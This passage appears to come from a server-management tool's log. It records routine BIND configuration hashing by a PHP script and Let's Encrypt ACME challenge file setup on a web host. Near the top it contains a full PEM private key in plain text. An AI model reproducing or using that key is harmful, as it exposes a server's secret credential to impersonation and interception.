fdRQkvp87ZZMZSsqvq1fMmNY8e0Je7G3wNchgrDXVdxjUOv0sKwhFTk6446QM8Kg
+vCHf9RzbhVdVxjaHA4NmRgHQF02k3Kom0OScnVJnXtHmUdeJgRY1/laRppLsUBv
G0jxFv7xusowbg4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCku4jnQ0X2w2mg
xGxwb+V+qwVU3thOKRNQVfwwmJnKnav4AeSENteeMfXmzcJ3XY6eMoF6TPRrcUGN
9rkdFimtSbdtOrs/J1oiSS/u1ia7HINOKqdUyH0ZJzqWydcuZ9CLTpIFOFqdmhnc
A5aADZfpq3FFa793LHVGiT/osN8B2FJ81/C0nmt5i6AxUpA+omMaOGnoMb2zItXr
wH+Bq28qhJVLfDVMy/Yk5D0lS5t+vT2IiZ/y1iVy0rswnZacY6lhTswWK9IaHuyo
mDPzvKFKzcaDtwXgdcKzUhcfQGs1enSu+7tywTJ6CtUlDrGKi/YaeJv7D9Hp/dQo
ddT3qtXHAgMBAAECggEAE0bStWU86axiTurNWbbuXw06OX0+SJ8r4Gm/chxZWslq
l0H5cLNONffYs6J+UCOFjeORHTOmInCFYExvywSN6fZHXaPSx4geVwbDcipjK+Ah
SWNaY2R2pxvdEkoaQRbq43JVSgEXMXwX7JQK538vuKtUPPBn3lU4gAGNlfgkkH2E
zA7LZOjUsvR7IA79tsJDCQfrUbzaWukzFB8PIcPfPOLwu/70hM4LIema4wHSlyY+
fFeHqQQ0/YOEHE6P1kIbvwR9pjXRD08QpDJHMgwiPlSOyW6PL8TvLlQTaWdw5+3D
gyDh9cCb/9qo9mGjrKDm1kdYlFRMtNfmdoqFG/bywQKBgQDTuMDSopmfQJBWltHH
4TL/Q8c/udXmne3e151cY1eWEBrn++bILYAg8GOXjJ/co9ww9JEprPSOHmPkJmUU
BCweQCnZagZWZLG+H0udQM93jcdrDUcw6qIPMcdQOG1eqiU3Mp5qlDA8s9u4FOwg
fTIqH9iUus1hOMQjmMoCet1tZwKBgQDHLw6foerXHKsac4sa5DqfC8lhI03ImnIn
NByekVvcA/D7wjmT2jY8wT8Gtw6zX3DvHcR0QHpX0JgLfNRDAnAGM5if7jm8kGcT
HyZaqzRSahzaLYVXkditOLqwBQGBVSINWpHSTN82t+iEvlTFHifX0sMMxQ3DeQZO
TkcwkqG4oQKBgQCfidCC6FOqVRRuqydY3rF2+LPjqT0tkkP0b7T8MT+GrIwZ0w+M
N/0c1Qe24xhzQmZh3WilZtbBYNUUznnMI3i7Ms5WLjaoUyg8g4iO7o9nH0btvAux
KJ0FphTythJ0CvIQLeyBkzjmBQHELL/hm3V5mJWzPTAV2pix2igexkakcQKBgGBe
aBjb4h9Jg488r+TG34Xr0fbpeczAzNIi6GXfti3wyjtEcU8TmII0jSXWk4o9dwp5
wH7uY0LxbV7BeoEhQMn/VKysOcr9oqEhxRDBHINzS5pTw9vmeIr2k3xuL5g/dEY5
t6uj/asft6Ph4mmseWJ2WmBnRo14lJB2VwMtLomBAoGBAIW/6xMdu8tFOuk9KF0f
8Pwxw/eMyG+4wRMEd+anQtwMVwYhBke4hh8Qcunk101r9LG41YUTvZUWgmA7xzhL
9qWlb8aeRwFoMqiTfkvMCa2M+A/nGeg03zqB9zMghg1JGTGxoRIvya/hQhBStPsu
AlzCjbZIjBT3dTIrtrg90EnB
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-22 10:08:53: Establishing a connection
2026-03-22 10:08:53: 

PUT: /tmp/pkp602413

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-22 10:08:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp602413; rm /tmp/pkp602413'

2026-03-22 10:08:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-23 06:00:02: Establishing a connection
2026-03-23 06:00:03: Establishing a connection
2026-03-23 06:00:03: 

PUT: /tmp/pkp448025

#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-23 06:00:04: 

chmod 755 /tmp/pkp448025; /tmp/pkp448025; rm /tmp/pkp448025

2026-03-23 06:00:04: 


1


2026-03-23 06:00:06: Establishing a connection
2026-03-23 06:00:07: 

PUT: /tmp/pkp988462

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"


2026-03-23 06:00:07: 

chmod 755 /tmp/pkp988462; /tmp/pkp988462; rm /tmp/pkp988462

2026-03-23 06:00:07: 




2026-03-24 06:00:02: Establishing a connection
2026-03-24 06:00:02: Establishing a connection
2026-03-24 06:00:03: 

PUT: /tmp/pkp131749

#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-24 06:00:03: 

chmod 755 /tmp/pkp131749; /tmp/pkp131749; rm /tmp/pkp131749

2026-03-24 06:00:04: 


1


2026-03-24 06:00:05: Establishing a connection
2026-03-24 06:00:05: 

PUT: /tmp/pkp740413

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > 6BTUlaYkCfENd1W5m5GnOMxaoqYW8zr_tU3OsxAvKi8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6BTUlaYkCfENd1W5m5GnOMxaoqYW8zr_tU3OsxAvKi8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6BTUlaYkCfENd1W5m5GnOMxaoqYW8zr_tU3OsxAvKi8
cat > 1mXosyquH7nAycIDNLHHJobiT11WAqx5sBz3jiUjFjo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1mXosyquH7nAycIDNLHHJobiT11WAqx5sBz3jiUjFjo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1mXosyquH7nAycIDNLHHJobiT11WAqx5sBz3jiUjFjo
cat > Jt0x4-yGXoxXATEJmPUgtUCCg_0p7eJe2jRxWkSWb6s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
